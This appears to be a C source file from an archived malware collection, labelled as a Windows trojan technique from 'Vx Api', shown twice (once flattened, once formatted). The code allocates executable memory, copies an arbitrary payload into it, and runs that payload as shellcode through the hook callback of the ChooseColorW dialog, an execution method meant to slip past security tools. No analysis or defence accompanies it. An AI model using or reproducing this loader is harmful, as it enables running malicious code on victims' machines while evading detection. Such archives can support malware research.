/* name Vx Api type trojan cve — year unknown os Windows authors unknown source krisyotam archived krisyotam (2026) notes — */#include "Win32Helper.h" VOID InvokeChooseColorWCallbackRoutine(LPVOID lpParameter){ CHOOSECOLORW Color = { 0 }; Color.lStructSize = sizeof(CHOOSECOLORW); Color.Flags = CC_ENABLEHOOK; Color.lpfnHook = (LPCCHOOKPROC)lpParameter; ChooseColorW(&Color);} BOOL MpfSceViaChooseColorW(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes){ LPVOID BinAddress = NULL; BinAddress = VirtualAlloc(NULL, PayloadSizeInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (BinAddress == NULL) return FALSE; CopyMemoryEx(BinAddress, Payload, PayloadSizeInBytes); CreateThreadAndWaitForCompletion((LPTHREAD_START_ROUTINE)InvokeChooseColorWCallbackRoutine, BinAddress, INFINITE); return TRUE;}
/*
name Vx Api
type trojan
cve —
year unknown
os Windows
authors unknown
source krisyotam
archived krisyotam (2026)
notes —
*/
#include "Win32Helper.h"
VOID InvokeChooseColorWCallbackRoutine(LPVOID lpParameter)
{
CHOOSECOLORW Color = { 0 };
Color.lStructSize = sizeof(CHOOSECOLORW);
Color.Flags = CC_ENABLEHOOK;
Color.lpfnHook = (LPCCHOOKPROC)lpParameter;
ChooseColorW(&Color);
}
BOOL MpfSceViaChooseColorW(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes)
{
LPVOID BinAddress = NULL;
BinAddress = VirtualAlloc(NULL, PayloadSizeInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (BinAddress == NULL)
return FALSE;
CopyMemoryEx(BinAddress, Payload, PayloadSizeInBytes);
CreateThreadAndWaitForCompletion((LPTHREAD_START_ROUTINE)InvokeChooseColorWCallbackRoutine, BinAddress, INFINITE);
return TRUE;
}